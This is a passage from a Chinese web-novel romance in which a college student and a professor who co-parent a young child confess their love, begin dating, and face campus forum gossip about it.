白榆点了几下头,“嗯。” 这样老师也看不见你了。 白榆:“一会上课玩我的手机好不好,下课了我就带你出去玩。” 白予安不太情愿的应了一声,“哦。” 白榆坐过来的时候,白予安旁边的两个位置上就被人用书占了。没过两分钟,两个捧着保温杯的男生走了过来。 那两人看见白予安一愣,硬生生的驻足在了离座位还有一米远的地方,一脸懵。 白予安热情的挥了挥小手,“哥哥好。” 两个男同学:你哪位? 白榆赶忙说道:“不好意思,这是我家孩子。家里没人我暂时把他带过来了,他一会不会吵的。” 白予安配合的说,“安安一会不会吵的。” 那两人也反应过来了,“哦,没事没事。” 恰好老师从前门进来了,他们也没继续说什么,赶紧回到了位置上。 随着上课铃声的响起,讲台上的老师也跟着打开他的ppt。 白榆把他的手机给白予安,然后开始……对着黑板走神。 好困。 这是感冒的后遗症吗。 白榆打了个哈欠。 和大部分小朋友不一样,手机对白予安并没有什么吸引力,他转动着小脑袋前前后后左左右右的看了一圈后,悄咪咪的问白榆,“为什么你没有书啊?” 白榆:“……我忘带了。” 他昨天在宋时蔚家过的夜,哪来的书。 白予安:“哦。” 安分了没两分钟,人类观察大师白予安小朋友又忍不住小声说道:“他们都在做笔记呢。” 白榆看着自己空荡荡的桌面,“嗯。” 早知道他提前去买个本子买只笔了。 “他们为什么要做笔记啊?”白予安歪了歪小脑袋,眨了眨眼睛疑惑的说道,“是因为听不懂吗?” 五岁半的人类幼崽发出 第78章 “小榆。” “嗯?”白榆没注意到宋时蔚的小动作, 自然的看向唐豫南,“怎么了?” 唐豫南张了张嘴,最后还是什么都没说出来, 他扯起唇角,淡淡的笑着,“没什么。我就是想起来了,我还有事,先走了, 小榆。” “哦,行。”白榆点头, 他注意到唐豫南脸色不好,考虑到唐豫南对自己表白的事,白榆没在进行多余的关心了,说这种话对他们都不好,“那再见。” “再见,小榆。”唐豫南很深的看了白榆一眼,就转身离开了。 唐豫南走了, 这片地方就只剩下白榆直面宋时蔚了。 白榆本来只是出来买个奶茶,排队的时候,特别巧的碰到唐豫南了。 结果他奶茶他还没来得及喝到,先一步就收到了宋时蔚问他要定位的消息。 发完定位白榆就后悔了。 但宋时蔚没给他后悔的机会。 白榆只能在这里数着秒等人。 但凡宋时蔚在晚到两分钟, 白榆就找个借口的溜走了。 偏偏宋时蔚来的这么快,被逮了个正着。 宋时蔚怎么来的这么快! 白榆忐忑的把耳机拽下来,放到口袋里,迈了一步,和宋时蔚拉开距离,“找我有什么事吗。是安安的事吗?” “不全是。我想和你聊聊。”宋时蔚走到白榆身前, 语气克制平静地说道,“最近为什么在躲着我。” “我没躲着你。”白榆迅速地反驳。 白榆下意识的咬住吸管,装作在喝奶茶的样子。 白榆手里的这杯奶茶没被喝两口,吸管却早就被咬扁了,甚至被咬的出现了裂痕,就差碎裂开了。 白榆嘴上说着没躲,身体又往后缩了两步。 宋时蔚没反驳,黑色的瞳孔透过镜片,沉默地注视着白榆。 像一场拉锯战,在这样的沉默中,明明没过几秒,白榆却受不了了。 白榆莫名的有些火气起来了,自暴自弃地说道:“嗯。我是在躲着你。” “为什么躲着我?”宋时蔚微微俯下身子,问道。 为什么? 因为老子喜欢你! 我为什么要跟你解释。 “没有为什么。”白榆也觉的他有些无理取闹,但白榆也不想管那么多了,语气不太好的说道,“我一会还有课,我先走了,上课要来不及了。” 发现自己喜欢宋时蔚后,白榆的第一反应就是跑。 他不能谈恋爱。 他有病,情绪不稳定,精神不正常,和别人谈不了恋爱。 他也不想……在感情里把自己搞的太难看。 白榆忽然有些难受,皱了皱眉。 要是宋时蔚知道,他身边有个馋他身子,还喜欢他的大流氓,他肯定也受不了。 白榆准备走。 “我有你的课表,你今天没课了。”宋时蔚少见的,有些强硬的拦住了白榆,“白榆,你在躲些什么?” 白榆像是被人戳中要害,一下子炸毛了,他情绪上头,“我没在躲什么。我就是不想见你。我一见到你就烦。不行吗!” 说完,白榆就僵在了原地,他低着头,抿了抿唇,觉得自己有病,他对着宋时蔚说什么呢。 白榆:“对不……” “嗯。”白榆的话音没落,就听见宋时蔚的声音,对方一如既往的平静且温和,没有丝毫生他气的意思,“我哪里让你不高兴了吗?” “可以和我说吗?” “白榆。每一段关系的延续都是两个人的事,如果你真的不舒服了,我希望你能告诉我?” “我哪里让你不舒服了吗?” 白榆把尖刺都竖起来后,没有等到想象中的争吵,反而被人连带着他的刺,一起包裹里起来。 白榆有些无错,想说些什么,又觉得周边的人太多了,不好开口,“我……” 同样意识到周围的人有些多了,宋时蔚主动说道:“我们找个安静的地方谈谈。” 白榆还是不想直面和宋时蔚谈,他试图挣扎到,“你的车还在那边。” 宋时蔚态度坚持,“我一会会去付罚款。” 白榆挣扎失败。 白榆和宋时蔚一路走到了一个小巷子里。这里很安静,也没什么人路过。 白榆冷静些了。 今天上午还在下雨,白榆难得穿了件稍厚的卫衣,这件衣服比较大,白榆把一半的手缩回袖子里,低着头,不说话。 宋时蔚见白榆这个样子,什么气都被压下去了,等着白榆开口。 白榆:“我是在躲着你。” 宋时蔚:“嗯。” 白榆:“你没有哪里有问题,你很好。” 白榆顿了顿,补充道,“对安安和我也都很好。” 白榆:“我只是觉得,就是……那个人和人之间,应该保持一些距离。” 宋时蔚面色发沉,“保持到什么程度。” “一起养孩子的……”白榆思考着,给了答案,“认识的人。” 白榆始终低着头,没去看宋时蔚的表情。 宋时蔚盯着白榆看了半天,被这小孩气笑了。 认识的人? 怎么不说是陌生人。 一起养孩子的陌生人,多新颖的关系啊。 宋时蔚闭了闭眼,深吸了一口气。 是他自己选择不去追白榆的。 宋时蔚也清楚,他和白榆在一起不合适。 他不能因为现在白榆要和他划出界限,就不高兴。 但宋时蔚发现,他现在情绪很冲动。 他接受不了,白榆要和他拉开距离。 一想到,白榆要和他的那些同龄同学在一起,宋时蔚就克制不住情绪。 哪怕是年轻的时候,宋时蔚也很少这样控制不住自己。 宋时蔚清楚的知道,他想要的是什么。 他想和白榆在一起,结婚,发展成可以公开的婚姻关系。 他想的快发疯了。 白榆偷偷地瞧着宋时蔚的脸色。 非常糟糕。 白榆又往后缩了缩。 空气安静了下来,话都说到这个地步了,白榆干脆就继续说下去了。 他低头看着脚尖,小幅度的动了动,“其实,你没必要对我这么好的。” 白榆:“我知道,你很好。你冷静、成熟、体贴、很理智又很负责。你总是能很客观的去处理所有问题。” 白榆:“责任在你这……应该很重要吧。” 白榆:“所以在确定了安安的事后,你就做好准备,去尽可能的照顾一切了。” 白榆停了一下,说道:“包括我。” “甚至……”白榆沉默了很久,撇开脑袋不去看宋时蔚,最后还是说出来了,“甚至,我想过,如果我需要,你其实可以因为安安,和我真的在一起的吧。” 白榆:“在你那,可能爱情就不是什么重要的东西。” “但是,没有那个必要,宋时蔚。”白榆把手放回裤兜里,“你没有必要因为孩子的事,对我好。” 白榆:“我已经成年了。我知道我可能在你面前,犯过不少蠢,但我没你以为的那么没用。我不是需要你照顾的人。” “我不是你的责任。”白榆抓着口袋内侧的手指用力,指关节有些发白,眼睛直视着宋时蔚,每个字都想钉子一样,“你没有必要对我负责。” 白榆远比别人所以为的要敏锐。 很多事,他不说,也不愿意去细究,但不代表他不明白。 他知道宋时蔚对他好是因为安安。 如果没有安安,可能他们也不会有关联。 说完,白榆也没了心情,他神情蔫蔫的,眉眼垂着,低着头在看地上的蚂蚁乱爬。 乌云不知道何时飘了过来,今天一整天都会断断续续的下雨,天色随着云层聚拢转暗,这块巷子里的小角,也暗了下来。 宋时蔚:“白榆。” “嗯。”白榆随便应了一声。 白榆缓慢抬头,宋时蔚不知道什么时候,站到了他的面前。 这个距离,白榆甚至能感受到宋时蔚温热的呼吸,他的后颈激起一片颤栗,下意识的往后倾。 “你觉得,我是因为安安才对你好的吗?”宋时蔚的脸色看不出心情,高大的身躯几乎笼罩着白榆,眼睛看向他,嗓音低沉的说道“我以为这样,是因为我喜欢你。” 白榆的大脑有一瞬间的空白。 宋时蔚捏着白榆的手腕,拉着白榆的手,强行贴在自己身上,隔着布料,顺着结实炙热的身体,一路向上,最终停在了心脏的位置。 宋时蔚柔和地把白榆手指掰开,让白榆的掌心一点点的,完全覆盖在他的心脏上。 “咚———” “咚———” 宋时蔚心脏的跳动,顺着白榆的手臂,漫延到白榆全身。 宋时蔚:“正常情况下,人的心率在六到八十。我好像生下来就情感单薄,对生活缺乏热情。对我来说,很多事情去做,只是因为需要去做而已,和喜好没有关系。但是现在,宝宝,我心跳的很快。” “我想,我的心脏在为了你跳动。”宋时蔚说话的时候,很紧张,他的呼吸急切,手都在抖,眼睛却看着白榆,很轻的笑了一下。 “白榆,我爱你。” “因为是你,才产生爱。” 第79章 白榆的第一反应就是跑。 他光速把手腕从宋时蔚的手里抽走, 好在宋时蔚也没有在用力了,抽走的这一步很顺利,然后白榆转身就…………差点撞墙上了。 后面就是宋时蔚, 助跑不了,白榆思考了不到0.1秒后,准备原地起跳,从墙上翻过去。 “换个方向。” 白榆卫衣后面的帽子被人拉住了,连带他整个人都被轻松拉走了。 没有‘后路’了, 白榆逼不得已只能转身。 宋时蔚就站在他面前,抓着他帽子的手还没松开, 他笑着,眼底却没多少笑意,狭长的凤眼看着他,“出口在这边。” 白榆心跳的巨快,扯回帽子,跑的比兔子都快,“谢谢。” * * * 天黑后, 白榆家里。 “爸爸。”安安戳了戳爸爸的大腿,睁着大大的琥珀色眨巴眨巴着。 爸爸没有反应。 “爸爸。”安安跳上沙发,又戳了戳爸爸的胳膊。 爸爸还是没有反应。 “爸爸。”安安爬到沙发背上,跨坐在沙发被上, 戳了戳爸爸的脸。 爸爸依旧没有反应。 安安歪了歪脑袋,脑袋上冒出一堆问号。 安安又戳了戳白榆,不停的戳戳,“爸爸,爸爸。” “啊。”白榆猛地回过神了。 安安从沙发背上吧唧的一倒,滚了下来, 落在沙发上,钻到白榆的怀里。 “爸爸。爸爸。你刚刚在想什么吗?”安安挥舞着小胳膊,好奇的问道。 “啊,洗澡是吧。那就快去洗澡吧。”白榆牛头不对马嘴地说道。 “安安,已经洗过了。”白予安举起小手,表示自己已经自己洗的香香的了。 洗完了就没办法了吗? 不! 白榆充分的发挥了他作为家长的暴权,提溜起安安,把小崽崽带到卧室里,“那就睡觉了去吧。” “晚安。”白榆砰——的一声,把卧室的门关上。 白:“●。●???” 白榆脸颊烫厉害,他把手贴在脸上,睡不着觉,心脏突突突的在跳。 白榆在沙发上坐了半天,坐不下去了,光着脚开始在沙发上走来走去。 今天晚上果然还是下雨了,白榆淋了一身,回来后,被安安催着去洗了澡。 白榆从这个沙发,走到那个沙发。 再从那个沙发,走回这个沙发。 宋时蔚是什么意思? 他是怎么想的? 他要干什么? 反反复复的在沙发上转了几十圈后。 白榆的头……好晕。 白榆消停了一会,还是睡不着,决定去找点刺激。 他拨通了车队的人的电话。 此时,车队的二把手人正在床上,他被铃声吵醒后,困难的睁开眼,打开手机,非要看看这个点,是哪个……哦是他榆哥的电话。 白榆:“喂,在哪呢。” 车队二把手半梦半醒地说道:“榆哥,晚。我在家里床上呢。” “床上?”白榆盘起腿,往沙发背上一靠,疑惑地说道,“你在你家床上干什么呢?” 车队二把手确认了一下时间。 哦,没错。 是凌晨两点。 他有些委屈,但他不敢说,“在睡觉呢,榆哥。” 白榆也把手机,拿到眼前看了一眼。 才凌晨两点。 这个点,他们这种人的夜生活不是才开始吗? 白榆疑惑地问道,“这个点,你睡什么觉?” 车队的二把手有些气弱,“哥,我们不是在响应早睡早起吗……还是你提出来的。” “哦,是吗。”白榆问道,“去盘山公路吗?” 电话那头出现了半晌的沉默,车队的二把手弱弱地问道:“榆哥,今天下雨了。你知道吗?” “我知道。”白榆刚淋的一身雨。 他往窗外看了一眼,还在下。 “怎么了?”一直听不见那边说话,白榆问道。 “emm,那个,就是。我倒是完全没问题的,但是榆哥,你还记得吗,就是……”车队二把手,组织着词汇,“你之前说过的,下雨天飙车都是煞笔。” 白榆卡壳了。 “要去吗。”车队的二把手真诚地问道。 白榆瓮声瓮气地说道:“不去。” 车队的二把手:“好的呢,榆哥。” 这种事,白榆以前真干过,骨头都摔折过一次,这群物质上太容易满足,就想要刺激的二代也干过。 白榆自己的命怎么样都无所谓,但他不能看别人跟着这么不把生命当回事。后面他也就再也没有去干过这种事了。 飙不了车,白榆又躁动起来了,他犹豫着说道:“有人给我表白了。” 白榆又想了想,应该就是表白吧。 爱我什么的。 白榆耳朵开始发红。 某位精通人性的,下雨天不飙车都,染着白榆同款发色的车队的二把手,沉默了,他把电话从耳边拿走,放到眼前,仔细看了看手机上的号码是谁的。 “哥,你不是……已婚了吗?”车队的二把手小心翼翼地问道、 白榆:“……” 白榆沉默了。 “就怎么说呢,就是那个什么,就是。”车队的二把手觉得真是大半夜天降大任于他,这种事情简直就是平地惊雷,快把他炸死了。 他更努力组织着语言说道:“我就是觉得吧,我们嫂子虽然我不认识吧。但是吧,我觉得吧,他人还不错吧。就是那个什么……” 车队的二把手:“出轨不太好吧。” 白榆:“…………” 白榆说不出话来了。 车队二把手还想在劝,“我们嫂子他肩宽腿长,貌美如花,沉……” 白榆听不下去了,迅速打断,“就是……你们嫂子给我告白的。” 车队的二把手松了口气。 哦,原来是大晚上。秀恩爱呢。 那没事了。 车队二把手在床上换了一个姿势躺着。 电话最后在张口一个嫂子,闭口一个嫂子中,被白榆挂断了。 白榆盘腿坐在沙发上,手上握着手机,他在脑子里转了一圈,发现了一件事——几乎所有人都以为他和宋时蔚结婚了! 白榆啪的把手机扔沙发上了。 过了会,白榆把手机捡回来,还是想找人说两句,要不然他闭不上眼。 他在脑子里寻找着,不会张口就说,他【出轨】了的人选。 谢昀澈。 不行,太精明了。 找个脑子不好的,才有倾诉欲。 脑子不好的。 白榆拨通了薛楠的电话。 薛楠这个时候,还没有睡,他当夜猫子习惯了,正在吃宵夜。 为了奖励这些天辛辛苦苦泡在实验室的自己,薛楠专门往一份泡面里,加了两个肠一个蛋,正在美滋滋的等他的泡面。 大半夜的接到白榆的电话,薛楠有些奇怪,“你这么晚给我打电话干什么?” “嗯,我有件事,要跟你讲。”白榆换了只手拿电话,揉了揉耳朵,“有人对我表白了。” 某位不擅长感情,脑子缺一根经,宋时蔚的学生,把电话从耳边拿走,放到眼前,仔细看了看手机上的号码是谁的。 是白榆的。 薛楠震惊地大喊道:“你要结婚了!!!” 白榆:“……” 白榆觉得他就是脑子里进了水才给薛楠打电话。 白榆一字一字地说道:“只是有人给我表白了。” “之前那么多给你表白的,也没见你给我说过。”薛楠嗦了口面,随意地说道,“你这不是要结婚还能是什么?” 白榆被呛住了,他反击道:“是个男的。” 白榆知道薛楠崆峒,生理性崆峒。之前因为宿舍有人跟他表白,连夜搬走过。 薛楠起了一身鸡皮疙瘩,但他为了发小的幸福,还是坚强地说道:“没关系,我支持你。无论你和谁结婚,都支持你。” 白榆:“……无论和谁?” 薛楠重复了一边,“无论和谁在一起。” “好。”白榆瞄了一眼录音键,在思考要不要录下来。 第80章 两个电话打完, 白榆发现他躁动的情绪一点都没平复。 被……表白到现在,白榆其实什么都没思考,他脑子里乱哄哄的。 白榆甚至在怀疑是不是他出幻觉了, 宋时蔚真的对他说……爱他了吗,但每当这么想的时候,宋时蔚的体温和心跳声又好像还在耳边一样。 白榆不想谈恋爱,也不想和别人有过于亲密的关系。 但他喜欢宋时蔚。 宋时蔚好像……也很喜欢他。 他也喜欢宋时蔚跟他表白,很好。 白榆觉得有些话要当面和宋时蔚说清楚, 无论结果怎么样,都应该给宋时蔚说。 白榆随便披了件衣服就往外走。 白榆觉得他现在一身使不完的力气, 白榆本来想冷静一下,淋雨骑自行车过去的。但想到自己一会要去干什么,在加上想快点到,白榆最后还是找了辆上面有顶的车。 车开到一半,白榆就觉得他可能脑子有病。 这个时间点,宋时蔚早睡了吧。 而且万一不在家呢。 问都不问一声就过去。 白榆在脑子里骂着自己,开车的动作却没慢下来。 有些事, 他今天晚上不做,他睡不着。 白榆把车开到宋时蔚在的小区,物业认识白榆,很顺利的把他放进去了。 白榆找到了宋时蔚的屋子, 站在门口又顿住了。 他看着屋内亮着的灯光心想道,宋时蔚还没睡? 在干什么呢? 白榆把手放在门铃上,却一直没有按下去。 来的时候劲头十足,真到门口白榆反而怂了。 就在白榆踌躇着的时候,庭院的电动门自己开了,宋时蔚就站在院子里, 看着他。 白榆被吓的下意识的一抖,眼睛睁的大大的。 宋时蔚解释道:“物业刚和我打电话,说你来找我了。” “哦。”白榆慢半拍地把放在门铃上的手收回来了。 他和宋时蔚就这么在大门口站着,四目相对了半天,气氛逐渐尴尬。 白榆舔了下唇,主动开口,“我觉得有些事,我还是要跟你说清楚,就过来了。” 宋时蔚:“嗯。” 白榆下意识地想把手塞到兜里,他摸了半天,发现他新换的这条裤子没有口袋,手指有些僵硬的垂着,“对不起,我之前一直躲着你,还……瞒了你一些事。” 白榆轻轻闭了闭眼,长长的睫毛不安地颤动了一瞬,“我上次也跟你讲过,我小的时候,家里比较乱,也没什么人管我。后面我妈又……忽然走了。她走的那件事,和我脱不开关系,我有段时间有很严重的心理问题,去看了很久的心理医生,我有病。” “当然现在好多了,也没再看医生了。但我的情绪有时候还是会忽然失控,尤其是……”白榆的声音变小了一些,“尤其是对关系很亲密的人。我不想和别人走的太近了。” 宋时蔚心下一沉。 这是早就预料到的结局。 宋时蔚不后悔告诉白榆自己的心意。 他只是在心疼,眼前这个过分消瘦的小孩。 “所以……”白榆眼睑微动,他仰起头看着宋时蔚,琥珀色的眼睛里,是浓浓的坚持,“知道这些之后,你还会……爱我吗?” 空气骤然凝固,这样的沉寂中,连雨后叶片上滑落的水珠声,都格外明显。 白榆咬了下唇,呼吸变快,继续说道:“我其实现在好很多了,医生也说我基本正常了。有了安安后,生活也健康正常多了。” “还有一件事。”白榆喃喃道,“我喜欢你。” “不对。”白榆回忆着,宋时蔚的话,改口道。 “我爱你。” 白榆从来没想过自己这辈子会说出这三个字,他脸红的厉害,觉得自己都快喘不过气来了,声音却清楚,坚定的不可思议。 他爱宋时蔚。 白榆想明白了。 无论结果是什么,会不会被拒绝,他都想对宋时蔚说这句话。 白榆后面的话,还没来得及继续说下去,宋时蔚忽然伸手,紧紧地抱住了白榆。 雨后的空气湿漉漉的,路灯下的石板路上积着不明显的水洼,水洼中两道模糊的身影,紧紧交融在了一起。 宋时蔚掌心贴在白榆的后颈,一路向下不带任何色/情意味的抚摸着白榆的脊骨,隔着布料白榆听见了剧烈的心跳声,宋时蔚声音沙哑地说道,“我爱你。” 宋时蔚低下头轻吻了白榆的发顶。 白榆下意识的闭了下眼睛。 “爱你很久了。”宋时蔚的半边身子还隐在门框的阴影内,人却早已探出门外,像是要把这些爱意都揉进这个怀抱里。 宋时蔚的身上很好闻,白榆这个怀抱中,心跳的飞快,过了半晌,问道:“那我们现在……是在谈恋爱吗?” “那我叫你什么,男朋友?” “男朋友,可以给亲一下吗。”白榆脸色爆红地说道。 白榆把脑袋从宋时蔚的肩膀上挪开,琥珀色的眼眸直白的近距离盯着这张过分俊美的脸庞,看了半天后,两只手勾着宋时蔚的脖子,微微踮起脚,亲了上去。 这是白榆……第二次亲人。 白榆心脏跳的飞快,下意识地用力闭上眼睛,顺着记忆中的位置,把唇瓣贴了上去,伸出舌尖舔舐着。 白榆缓慢地睁开,微弱地路灯下他浅色的瞳孔仿佛透着光,清澈透亮,他稍稍和宋时蔚拉开距离,舌尖却还漏在外面。 白榆很明显地看见,宋时蔚的喉结上下滚动了一下,禁锢住白榆的手臂用力,几乎是半托起白榆,又小心缓慢地把白榆放下。 维持着这个姿势,宋时蔚弯下腰,深深地吻了下去。 白榆很用力的咽了一下口水,耳边时不时的响起宋时蔚的声音。 “乖一点。” “别躲。” “放轻松。”宋时蔚很低的笑了,声音仿佛从胸腔中发出来的,“之前不是很会亲吗。” “很棒,好孩子。”宋时蔚的呼吸声愈发急促。 “继续。” * * * 第二天,一大早。 白予安四仰八叉的一只崽躺在大床上,摸了摸自己扁扁的小肚子,从半梦半醒间彻底醒了过来。 小崽崽揉了揉眼睛,四处看了看。 爸爸呢? 安安疑惑的穿上小拖鞋,顶着一头乱糟糟的小软毛,乖巧的脱掉睡衣后,拿出去幼儿园的校服,脑袋往里面一钻,用力一登,换上了校服。 白予安站在床下,整整齐齐地叠好被子,再把床单弄的平整后,从卧室里面走了出去。 安安转着小脑袋,在屋子里面又找了一圈。 爸爸,不在家。 安安得出这个奇怪的结论。 白予安在客厅站了一会后,小跑着去了厨房。 虽然爸爸说不可以,但安安偷偷弄一下,应该没问题吧。 安安搬了个小凳子过来,踩在小凳子上,用力扭了扭,灶台打火的地方。 “咔嗒—咔嗒—”” 火打不着。 白予安眨了眨眼睛发现。 安安聪明的小脑袋迅速就想明白了,爬上爬下的去找天然气的阀门。 很快,就被安安真的发现了。 但是,上面被一个塑料的壳子罩住,塑料壳子上面还上了锁。 白榆上的锁。 安安尝试用不存在的指甲扣了扣锁,思考了一下,如果打开了,被爸爸发现了的严重性后,选择放弃了。 安安踩着小板凳,从冰箱里拿出一块面包,两块巧克力还有一盒牛奶,在厨房里咕噜噜的一口气把牛奶喝了。 牛奶好难喝,安安面无表情的想道,把牛奶合理扔进了垃圾桶里。 安安跑到客厅里,把面包放在茶几上,撕开了一颗巧克力,塞到嘴里。 安安整只崽躺在沙发上,觉得有些无聊,把一只脚举了起来,滚圆的琥珀色眼睛盯着自己的脚,过了几秒又把另一只脚也举了起来。 两只小腿在沙发上一开,一合的,消磨时间。 爸爸,到底去哪里了啊? 为什么还不回来啊?? 好奇怪,好奇怪???【你现在阅读的是 】 80-90 第81章 白予安在沙发上自娱自乐了没多久, 白榆就回来了。 “爸爸!”小崽崽从沙发上翻起来,开心地给爸爸打招呼。 “嗯。”白榆带着副口罩,手上提着一袋早饭, 垂着的眼尾还余下些未完全消退的红晕。 看到白予安一个人,白榆有些内疚。 “爸爸,你出去干什么了啊。”白予安窜到白榆面前,好奇的问道。 干什么? 什么都没干。 白榆把早餐放到餐桌上,心想道。 他昨天到宋时蔚家都已经凌晨四点多了, 这点时间,能干什么。 他们就亲了……一直在亲。 从门口亲到屋子里去了。 后面想干点什么, 但也没时间了。 白榆觉得他脸上又有点烫,从冰箱里,给自己拿了杯冰水,仰着头在喝。 嘶— 白榆倒抽了口气。 他嘴唇烫的发麻,估计是有些破皮了。 口腔被侵入了太多次了,白榆莫名有种已经不属于自己了的感觉,舌尖碰到凉水, 有种轻微的灼烧感。 白榆心跳像鼓点一样,又想起了刚才的场景,喉咙发痒,吞咽了一下。 白榆头一次发现, 接吻能让人上瘾。 白榆记得后面到屋子里,他都已经有些缺氧了,还用力抓着宋时蔚后背的衬衫在用力的接吻。 “爸爸,你出去约会了吗?” 脑子里想着乱七八糟的事,猝不及防听见自家崽的声音,白榆差点把水吐出来。 “咳咳—” “这里, 红红的。”安安指了指自己的嘴巴,纯洁的大眼睛好奇地盯着白榆看。 “咳咳咳——”白榆咳的更用力。 “快吃饭。”白榆被一只四岁多的小崽崽弄到恼羞成怒了,快速回过头去看白予安,“你爹在楼下,送你去上学。” “好哦。”安安眨了眨眼睛,情绪稳定地点了点头。 宋时蔚就在楼下等着,同样是一晚没睡,他的神态上却看不出任何颓色。 他站在车前,身上透着种说不出来的性感。 白榆没照镜子都知道自己现在是个什么鬼样子。 为什么宋时蔚看起来就好很多?! 甚至还没上次明显。 等等。 我上次咬的这么狠吗? 白榆后知后觉地开始回味。 发现白榆来了,宋时蔚掀起眼皮,目光粘在了白榆身上。 “爹地。”白予安抬起手和宋时蔚打招呼。 “安安。”宋时蔚笑了笑,抱起安安打开车门,把小崽崽放进去。 白榆手指夹着一袋口罩递了过去,“给你,口罩。” 宋时蔚:“嗯?” “带着。”白榆的声音隔着一层口罩,有些闷闷的,“你这样有眼睛的人都能看出来……干什么了。” 宋时蔚低笑了声,“不好吗?” “不好。”白榆硬邦邦地说道。 “好吧。”宋时蔚眼底溢出点笑意,状似无奈的耸肩,把白榆递过来的口罩戴上。 “这样可以吗?”宋时蔚学着白榆昨天晚上的叫法,喊道,“小男朋友。” 白榆脸红了,“……嗯。” 宋时蔚隔着口罩,轻轻碰了一下白榆的额头,“晚点见。” “嗯。”白榆闭了一下下眼睛,总觉得自己有点丢脸,奇怪的胜负欲发作,“你不休息吗?年纪大了,熬夜不是会特别伤身吗?” “小白同学。”宋时蔚看出来白榆是故意的,捏了下他的脸,“这件事我们稍后探讨。” 宋时蔚:“现在赶紧回去睡觉去吧,年轻小孩。” * * * 白榆回到屋子里。 他们这段时间,院里在安排在期中考试,前几天一天考四门,给考完了。 白榆今天既没考试,也不上课。 白榆躺在安安刚铺好的床上,抱着安安枕头,心里想道。 我和宋时蔚现在是什么关系? 谈恋爱吗? 谈恋爱是什么样的? 事情发生的太忽然,白榆现在还有点没反应过来,他就光记得亲了。 白榆有点睡不着,在床上滚了几圈,决定找个人分享一下。 他打开手机……没什么人能分享。 白榆遇到了和昨天晚上同样的问题——别人都以为他和宋时蔚已经结婚了。 白榆握着手机半天,最后不死心的给谢昀澈和薛楠发了消息。 【树:我谈恋爱了】 用词一如既往的冷酷。 白榆心满意足的躺下了,抱着枕头睡着了。 他在睁眼,已经到中午了。 白榆昏昏沉沉地从床上爬起来,踩着拖鞋,飘到冰箱那去找吃的。 就在白榆在冰箱里挑挑拣拣的时候,手机滴的响了一声,有人给他发消息了。 【宋时蔚:醒了吗】 【树:嗯】 【宋时蔚:给你点了吃的,还有五分钟到】 【树:好】 白榆收到热腾腾的饭菜,心想,这就是在谈恋爱吗。 感觉还不错。 白榆拿起餐具,准备吃午饭。 今天有宋时蔚的课,白榆习惯性的顶着马甲,溜到了a大的论坛。 一打开论坛,一个鲜红的标题就猝不及防的跳到了白榆的眼里。 【报!报!某宋姓教授,在课上公然出轨!(爆)回复:520】 白榆维持着举着勺子的动作,连嚼饭的动作都顿住了。 白榆第一次在这个小破论坛看到这么多回复。 【1L:事情的起因是这样的。今天课后问答的时间,前面有位同志不知道怎么了,是不是脑子短路了,来了句——教授,您今天怎么带着口罩啊?呦,您猜怎么着。宋教授直接回了句,男朋友让戴的】 【2L:是的男朋友,‘男’朋友】 【3L:当时我一点都不夸张,整个教室都哑火了,的眼睛噌的一下就大了,耳朵哗啦啦的就竖起来了】 【8L:?!】 【14L:我的天,男朋友让带着口罩,为什么啊,好难猜啊】 【48L:好刺激,好带感,好想探究一下,好怕挂科,谁能帮问一下】 【51L:男朋友?会不会是你们理解错了,也许就只是男性朋友的简称而已】 【52L:说的对,就应该直接简称叫性朋友的(黄心)】 【220L:这件事其实也算是个人隐私吧。宋教授也不是公众人物,在外面连张照片都找不到,我们这样大肆讨论,是不是不太好?】 【250L:我们这个论坛难道很大众吗,我们私底下蛐蛐会有人知道吗!】 白榆反手就把这个帖子发给宋时蔚了。 宋大教授看到已经是一刻钟后的事了,他快速的浏览了一遍,反应很淡定。 【宋时蔚:学校内部还有这种论坛呢】 白榆的体温从看了这个帖子之后,就没有降下来。 【树:你怎么这么说】 【宋时蔚:有哪里有问题吗,男朋友】 还在叫男朋友? 宋时蔚太理直气壮了,搞的白榆反而开始反思自己了。 【树:你为什么要说你有男朋友】 宋时蔚回答的非常直白。 【宋时蔚:想炫耀一下】 【宋时蔚:我们这种上了年纪的人,都是这样的,年纪大了,不喜欢地下情】 【宋时蔚:小白同学,不让说出去,你难道是要和我搞不正当关系吗】 第82章 【宋时蔚:现在方便接电话吗?】 白榆还没来得及回, 就收到了宋时蔚的消息。 【树:方便的】 宋时蔚的电话很快就打过来了。 “吃午饭了吗?”宋时蔚的声音一如往常的成熟稳重。 白榆没想到宋时蔚会先说这个,顿了一下才回答道:“吃了。” 宋时蔚:“嗯。” 短暂的沉默后,宋时蔚开口说道:“我冒犯到你了吗?” “抱歉。”手机在桌面上, 宋时蔚摘下眼睛,没有意义的擦拭着镜片,“现在告诉其他人,会让你不舒服吗?” 宋时蔚从没做过这样的事。 他是个注意边界的人,即便是再亲近的人, 也不该随意触犯对方的私人边界。 这套原则,宋时蔚对自己适用, 对他人也适用。 唯独对白榆不适用。 宋时蔚把眼镜重新带上,他的眼珠过黑,幽暗而深沉,“我会注意……” “没有。”白榆打断,他握着勺子的手拇指用力,无意识地转动勺子,“你为什么想告诉其他人。” 宋时蔚很短的愣了一下, 几乎是瞬间,他明白了这小朋友想听什么,“因为我爱你。” 宋时蔚又重复了一遍,“我爱你。” “哦。”白榆耳朵上面一整酥痒, 脸颊红的厉害。 白榆心里满满的,像是能溢出来一样,唇角压着,手插在衣服兜里,他像是左右脸颊,被打了两片腮红的年画娃娃一样, 高兴了。 反正也不是什么大事。 无所谓了。 “我没打算跟你搞……地下情,也没有要搞不正当关系。”白榆塞进口袋里的手指摩挲了一下,抿了抿唇,说道,“我也爱你。” 仗着没人看见,白榆侧过脸颊,轻轻的隔着电话亲了一下。 啾~ “我爱你。”白榆的声音很小,细细的,一反常态的声音,听见来像撒娇一样。 宋时蔚克制不住的笑了,笑声闷沉,巨大的喜悦冲击到心脏,他回味着这句话,片刻后,宋时蔚犹豫后,问道:“能搬过来和我一起住吗?” 这是个带着点请求的疑问句。 白榆依旧酷酷地回到:“哦,好吧。” 通话结束后,白榆才发现,他收到谢昀澈和薛楠的消息了,就在他们三个人的小群里。 【薛楠:昀澈!昀澈!白榆发消息说他谈恋爱了!就是那个白榆!】 【谢昀澈:我看到了】 白榆还没从年画娃娃的状态中出来,心情不错的回他们消息。 【树:嗯】 【树:我谈恋爱了】 【树:看,我男朋友给我买的午餐。照片.jpd】 见没人说话,白榆使用了某聊天软件的拍一拍功能,挨个拍了一遍。 【树:人呢?】 【树:给点反应】 见群里还是没反应,白榆在心底呲了一声,决定等会接着发。 * * * 下午,白榆主动提出去接安安。 他把他家崽接回来,拿了巧克力给安安。 “安安。”白榆拿着巧克力,蹲在白予安面前,晃啊晃的,“问你一件事。” 